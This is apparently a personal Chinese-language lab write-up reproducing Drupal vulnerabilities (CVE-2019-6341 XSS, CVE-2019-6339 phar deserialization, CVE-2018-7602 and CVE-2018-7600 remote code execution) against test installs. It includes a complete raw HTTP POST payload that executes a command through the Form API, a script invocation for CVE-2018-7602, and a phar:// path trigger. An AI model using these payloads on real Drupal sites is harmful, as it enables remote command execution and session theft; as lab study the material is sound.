Drupal CMS 相关漏洞复现
Drupal XSS漏洞(CVE-2019-6341)
影响软件:Drupal
方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)
影响版本
在7.65之前的Drupal 7版本中; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本。
实验环境
drupal 8.5.0
复现
1.使用PoC上传构造好的伪造GIF文件,PoC参考[thezdi/PoC](https://github.com/thezdi/PoC/tree/master/Drupal)的PoC。
2.访问目标站点
#Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
访问 http://45.77.127.27:8080/sites/default/files/pictures/2021-05/_0 成功触发xss
感觉么啥用啊,火狐和谷歌都拦截这个XSS,IE才能看到
Drupal 远程代码执行漏洞(CVE-2019-6339)
影响软件:Drupal
方式:phar反序列化RCE
参考链接:[Drupal 1-click to RCE 分析](https://paper.seebug.org/897/)
效果:任意命令执行
这个漏洞得要管理员账号登后台
实验环境
同上
1.先使用管理员用户上传头像,头像图片为构造好的 PoC,和上面实现一个github下载的gif
Drupal 的图片默认存储位置为 `/sites/default/files/pictures/<YYYY-MM>/`,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。
2.访问 `http://127.0.0.1:8080/admin/config/media/file-system`,在 `Temporary directory(临时目录)` 处输入之前上传的图片路径,示例为 `phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg`,保存后将触发该漏洞
phar://./sites/default/files/pictures/2021-05/blog-ZDI-CAN-7232-cat.jpg
Drupal 远程代码执行漏洞(CVE-2018-7602)
影响软件:drupal
方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
效果:任意命令执行
条件:知道账号密码
实验环境
drupal 7.57
复现
1.整点脚本
https://github.com/pimps/CVE-2018-7600
2.用脚本
```bash
# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/
```
没有脚本这日子怎么过啊,什么时候能写出自己的脚本发github上
Drupal 远程代码执行漏洞(CVE-2018-7600)
其6/7/8版本的Form API中存在一处远程代码执行漏洞
实验环境
drupal 8.5.0
复现
我们向安装完成的drupal发送如下数据包:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
当然版本小于7.57的版本我们也可以用脚本
Drupal相关漏洞还有
CVE-2017-6920 -- 8.x的Drupal Core--远程代码执行,这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core #需要管理员账号密码
CVE-2014-3704 -- Drupal < 7.32 -- SQL注入
这里就不复现了,遇到了再来折腾